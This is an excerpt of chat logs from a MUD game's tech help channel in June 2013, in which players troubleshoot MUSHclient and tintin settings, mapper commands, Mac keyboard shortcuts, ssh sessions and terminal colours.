T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: whatchu talkin bout willis?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: whatchu talkin bout willis?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: whatchu talkin bout willis?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: whatchu talkin bout willis?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: whatchu talkin bout willis?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: whatchu talkin bout willis?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: stop it.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rests in a corner and mutters 'spam' quietly to himself.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: was I just spamming?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Sorry!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: anyway for me to change the color of the question channel alerts?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: that's not a technical question - but help colorset will answer it for you.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Herro?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: question for the wizards
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: oh good, I'm a warlock
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: Rikitiki Takihisis buries her face in her hand and sighs, shaking her head.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: OMG It's Aleks snickers with you about your shared secret. 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I just remembered something. When I ssh into tintin on my Macbook Pro how will I "page up/down" ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I bought a new laptop for my grandfather, because he's 86 and doesn't have time to wait for his pentium 2 to check his email
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: same way you do now
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but it will probably come bloated
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: there is no page up key
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: or down
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what are good removal / /optimizer utilities to run on new comps?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: look for the other color
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: has anyone heard or used advanced systemcare 6 ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: think differently
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: what am I supposed to do instead of page up page down
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vuron Tech: what OS Kojiro?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: win 7 or win 8 i forget
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: use the function key
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: win 7 i think
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: fn up/down arrows
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I guess so
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vuron Tech: I've not used any such tools.. always just burn it down and install clean if anything is suspect
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Leinei Tech: command + up, command + down on the Air
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: you mean command -
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i doubt they will send me win disks though
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: oh wait
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: nevermind
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: command up/down depends on the application
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: wozniak you are the worst
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: fn up/down is hardware level
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I am the best
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: i know that
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Leinei Tech: Oh, nvm, you're right.  I mean fn+up and fn+down
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: so it's the same for MBP and MBA
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vuron Tech: you could manually try to clean up the crap then by uninstalling, create new user profile etc.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: I am still wrapping my mind around 'command -', press the command key and then do not have pressed the <> key?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: what about the command key?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: nvm
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Leinei do you mean me?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: when leinei said "command + up", he meant "hold down command and press the up arrow", dunno what "you mean command -" was about
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: on all Macs that don't have a page up and down it is fn + up arrow or down arrow
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: yeah that was a mistake
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: wait is it command or fn?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: and kojiro: regarding getting the windows discs, the computers that have a restore partition also have a facility to burn the discs
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: fn
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: Fn
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: command up/down is used in some programs, but fn will work everywhere
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what if i don't have a partition?  it's just some cheap highly rated laptop from newegg
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: it will ship with either discs or a partition
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: if it comes with a certified OS, it needs to come with one or the other
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oh ok, thanks
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what if it comes with a partitioned drive but no optical drive?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: connect one via USB
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oh ok, thanks
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: thanks for the heads up, ABE
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daloran Tech: or otherwise acquire a legitimate windows iso/disc and use your key to reinstall.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: but doing it that way requires you to know that your key and the ISO are compatible...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daloran Tech: Which should be fairly trivial.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: if you know what to look for
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daloran Tech: shrug. I tend to think people willing to reimage their own machine also know how to use google.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Tech: I'd tend to think that people asking here are less confident in their own googling than you are
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Tech: and half of googling is knowing what you're looking for
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daloran Tech: I'm sure they'd have found it eventually, if they spent any time looking.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: Is there any posibility that a map would be bugged or incorrect (with the automapper)
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: If you made some custom exits incorrectly
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: eg. you didn't wait 2 seconds
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: specifically, I am having trouble with the map of the area that replaced Arboria
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: no custom exits
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: Stormhaven
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: Did you clear arboria?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: how do I know if I did?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Martini & Tyebald Tech: also, if an area gets moved/removed, the exit can be left behind sometimes.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Samar Tech: i had to, i had to clear arboria
T3/r7/2013-06-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mapper purge arboria ?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: No idea if you would/should have to or not, but 'mapper purgezone <area>' will do it
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: So purge and rewalk it?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: That would almost certainly fix it.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: I'd purge both arboria and stormhaven
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: If they both exist in your mapper
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: Although, maybe just try purging arboria, and seeing if it fixes it
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: It might be trying to go to the old rooms in arboria
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: Interestingly I do not seem to have Arboria in my mapper
T3/r7/2013-06-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: so i'm messing with GMCP for the first time after spending longer than i like figuring out how to populate a table(I HATE lua) i got my plugin working 
T3/r7/2013-06-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: my question is there anyway to not add a blank line when using the alias to call the function?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: eh lol its sorting tables thats the anoying part :P
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How is it annoying to use table.add? Of all the stupid things Lua does you picked the industry standard process for adding to a data structure? :-P
T3/r7/2013-06-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: its just an looks problem really, everything functions but when a line is added to the main window whenever the alias is used and i haven't had a problem sorting table once i figured out how to fill them without waiting for the world to send the gmcp data
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Punctuation might make that a little easier to understand...
T3/r7/2013-06-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: its just an looks problem really, everything functions but one blank line is added to the main window whenever the alias is used
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Arnica Tech: In MUSH, where do the various world parameters like miniwindow position and state get saved? I don't see them in the world file.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: If they're part of plugins, they get saved in the plugin state file
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Arnica Tech: OK, and that is in the state folder, of course?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: I would think so
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: (the one in the plugins folder)
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: yeah, worlds->plugins->state
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: Not updated in real-time, btw.  The files get updated when you save the world.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Leinei Tech: I assume they're just in RAM somewhere until then.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daloran Tech: Save the world? Dang. Thats a lofty goal just to update some files..
T3/r7/2013-06-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: I wrote my first gmcp plugin but it creates a blank line in the main window when I use the alias. I can get rid of the line with an alias/trigger combo on the client level but I can't figure out a way to do it from within the plugin. Anyone have an idea on how to solve this(besides just dealing with it)
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Daddy Spoke Tech: Say you use: mapper area <room name>, you get a list of possible rooms, is there a way for me to get the mapper command that will take me to that room, without having to click I mean?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i can think of a way but it wouldn't be simple
T3/r7/2013-06-13.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i'm alittle hamstrung by the fact i dont use the mapper but would assume you could write a function to index the results from the mapper area <foo> and an alias to call the result you want but i think it would be faster and alot easier to just click whatever
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: has anyone had any problems with the campaign tool on my website during GQ ?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Tech: spoke: the mapper command would be "mapper goto <thatroomnumber>"...you can even use "mapper next" to go down the list of possible results without re-bringing up the list itself
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Tech: heh, and spoke's not here, I did a -h 10 saw a quick'n'easy answer without caring about the posting time
T3/r7/2013-06-13.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how do i hide echo in an alais?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: anyone know how the mapper database gets locked? I'm getting an error message this morning
T3/r7/2013-06-13.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: locked?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: yeah.. [string "Plugin"]:1733: database is locked
T3/r7/2013-06-13.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: probably already tried, but try restarting your client?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: yeah I have
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: haven't tried to reboot computer but may be next step
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: rebooted and it fixed problem
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Jenni Tech: well, the aard mushclient wont let jaws access the plugin box to see whats installed and is slowing down jaws access to things anyone else use jaws with the aard client?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i have a div that has an id that can change EG div1 div2 div3 do i have to make a refrenche to each one in my stylesheet?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: ok,variables set by a script,how can they be called or must they be called within the plugin?(playing around and trying to track the variables)
T3/r7/2013-06-13.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: ok,ive got 2 triggers,1 in xml,one as a mush trigger,why does the xml send after variables are set and the mush trigger doesnt?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: Why does it ask if I want to save world variables and such when I close my aarwolf MUSHclient? Do I say yes?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Ontuct Tech: you have a script running that used a variable, I have done both yes and no as a casual user and have not noticed any difference
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: Well I haven't added any scripts. All I've done was download the Aardwolf edit version of MUSHclient and run it via Wine
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Ayasinda Tech: aardmush comes standard with scripts installed. And I also haven't noticed a difference between yes and no
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: I wonder which I should choose next time
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Vonliege Tech: I think every time you say "yes", a child in Somalia get's his candy stolen... say "No", and someone in Ireland (man womand OR child) squirts whiskey  out his nose.
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Vonliege Tech: I guess the more germane question is... Why would you EVERY want to shut down Aardwolf?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Ayasinda Tech: to log on from a different computer
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: exactly
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: I feel like of I say No then I may acciently not save something I did in the game
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Ayasinda Tech: nope. The games saves everything serverside
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Vonliege Tech: since you're changing computers... the save won'y matter anyway
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: Even if it's a totally different server
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Vonliege Tech: anything you have saved clientside will be moot
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: Is there a re-allign command for MUSHclient?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Ayasinda Tech: what's re-align?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: re align the windows 
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Ayasinda Tech: type resetaard
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Wozniak Tech: that's it
T3/r7/2013-06-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: In tintin is htere any way to queue up some text on the input line?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Neofys Tech: my screen its in zoom in and i cant see th actions button, plus the texting lags, i am on a phone, any help?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Tech: does typing ".togglefullscreen" do anything?
T3/r7/2013-06-13.txt.gz:{chan ch=tech}Neofys Tech: tried but no
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: on what would i have to triger for my cliet (mush) to auto log me in?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Endangered Sabertooth starts to hear the faint sounds of a cricket chirping.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Fravardin Tech: is there a way to make the colours more vivid on blowtorch
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Fravardin Tech: How Do I make buttons for blowtorch
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vannel Tech: anyone know of a good usb bluetooth adapter/dongle..?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Six-String Strazor Tech: I have never been brand specific on those.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Six-String Strazor Tech: For a remote keyboard / mouse or for a phone?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vannel Tech: for a bt keyboard. logitech k810.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Six-String Strazor Tech: hmm, the remote keyboard I have came with an adapter.  I am pretty sure it is Logitech.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vannel Tech: i have it paired with my nexus7 now.. just wanna get an adapter for my home pc and office pc as well.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Six-String Strazor Tech: But there are no markings on it.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vannel Tech: hmm. oh well. shall try my luck at the shops 2moro and see if they pair well with my keyboard then.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Mushambo Tech: Need a class-10 microSD for storage on a tablet (i.e. not recording video or photo) or is 4 sufficient? 
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Does anyone else always have to press enter after entering your password before their Aarwolf MUD session begins with the MUSH client?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vonliege Tech: I've never gotten auto-login to work - havn't really tried all that hard though, beyond entering my generic data into the client
T3/r7/2013-06-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I think everyone does?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Not auto log in. I mean like after you manually enter in your username and password you have to press "enter" one more time then it loads the game
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Vonliege Tech: yes... I do.  It's like a 'welcome screen'
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: oh ok
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: If I ssh into a computer then close my terminal window without logging out am I still ssh'ed with the remote computer?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Pakaran Tech: Unlikely, unless you're using screen on the remote machine.  
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Pakaran Tech: (Also, anything you're running under the unix nohup command will stay running, and there's a few other special cases, but I think you'd know if they applied).  
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Pakaran Tech: In any case, closing the terminal window before you walk away should stop someone from impersonating you on the machine.  
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: so in other words, it logged out
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Any Android dev's around who've been able to successfully utilize linux to dev on the RK3066 chipset inside most "Android Mini PC's"?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: tintin isn't using the color i set to the question channel
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Rahkim Tech: my communication log is no showing up in the MUSHclient aardwolf build. any suggestions?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: what color you tell the mud to display a channel in has nothing to do with the client.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Exactly. So why is it not displaying the correct color?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ayasinda Tech: Rahkim is the chat capture plugin loaded?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Because you didn't set the color right with the mud I would assume
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Rahkim Tech: ah, i seem to have fixed it by simply resizing the window. my mistake, thanks for the help though
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: ixle is saying "tintin isn't getting the color wrong, it's displaying the color that Aard tells it to"
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Oh the color is correct. It's just the when I submit my question. It shows up as green and not cyan
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: that*
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You set question not answer?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Err, switch that around.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: yes I set Question
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I guess Answer isn't a separate colorset like I thought it was..
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: No it's not
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Can you just take a screenshot and photobucket it something so we can see what you're talking about?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ayasinda Tech: if you type çolorset status' what is question channel set to?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Yeah I already checked. It's cyan. But when I submit my question it shows up as green
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Yeah. Tintin is weird. MUSHclient is superior but tintin has potential if bugs were fixed and the user spends time to create scripts and edit
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: What bugs have you found with tintin so far? I'm relatively certain your current color issue isn't tintin related.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: bugs aren't a problem, and the user has to spend time to create scripts for any client (or get those scripts from other people, which is what the aard MUSHclient package is)
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And our tt++ package :P
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: You nod at Helperful Cheezburger.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: How so? I mean I type my question and it shows up in green text. not cyan. On MUSHclient it does
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: you probably remapped the colors of your terminal
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ayasinda Tech: you mentioned bugS. What are the others?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Yeah, I would explore your terminal emulator settings.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: you can tell MUSHclient or your terminal to display blue as if it's brown...that's not the client's fault, it's just misconfiguration
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No offense, Woz, but of the 'bugs' you've reported to us so far all of them (up to this point) had been user error...
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I forgot. I thought I noticed another. Not sure though
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Pakaran Tech: Hey, that's normal, though.  One of my students once emailed me in the middle of the night that he'd found a compiler bug.  
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I mean what's supposed to happen is I type "Question blah blah blah" and then the text I just entered is supposed to pop up on the screen in green AND in cyan
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Pakaran Tech: Bug related to the compiler going by braces rather than tabs.  In c++.  
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I haven't specified any of them as bugs
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: As has already been said, check your terminal settings...
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ayasinda Tech: Wozniak Look at Ixle proposed solution
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: woz: what program are you using to run tintin? Is this in MacOSX's Terminal.app, in PuTTY, in an Xterm?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I know
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ayasinda Tech: and cheez's
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: all of those will let you remap colors to your hearts content, and will let you make cyan look green
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: it's the OS X terminal app. I'm currently ssh'ing to my linux box
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: There's your issue
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: terminal.app actually makes it VERY easy to remap colors because you can drag them right onto the screen
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: SSH can/will/may screw with your colors.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: no it won't
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: When going from one type of terminal, to another
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: wtf. tintin flies from east and drops stench?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, I used to have issues with mac terminal to my linux box, reds would be green, and blues would be white.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: He's a player.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: seriously Cheezburger?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: well taht explains
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: type "finger tintin"
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, actually that was using screen not ssh...
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Are you using tmux or screen, perchance?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: ok
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: yes, no, maybe?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: I was answering Abelinc sorry
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: No i'm not using tmux
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Are you close to your linux box? Can you tell me what color question/answer shows up if you look at tintin there?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Yes I am. And it's not taht question and answers don't show up cyan. It's that when I submit my question, MY text shows green and that's it
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I can't think of any possible reason (code-wise) why it would only be happeneing to your chats and not received chats...
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: are your normal commands echoed to the screen? is that the "your text" that you're thinking of?
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What a second... are you talking about your echos with channels gagged?!
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: I think you might be on to something abelinc
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: He did mention it shows up twice...
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger sighs.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's just your echo bro. Iirc you can do #conf to turn that off.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: what? Yeah with the tech channel it shows up twice. In the question channel it doesn't
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: Wozniak, tintin has the feature of echoing your input to the screen for you. That is completely different than mud channels and what you do with colorset.
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Mush has the same feature by default, just different colors :P
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Ixle Tech: You can turn off that feature with the tintin command: #config {command echo} {off}
T3/r7/2013-06-14.txt.gz:{chan ch=tech}Wozniak Tech: Yeah but tintin isn't echoing my question to the question channel on my screen
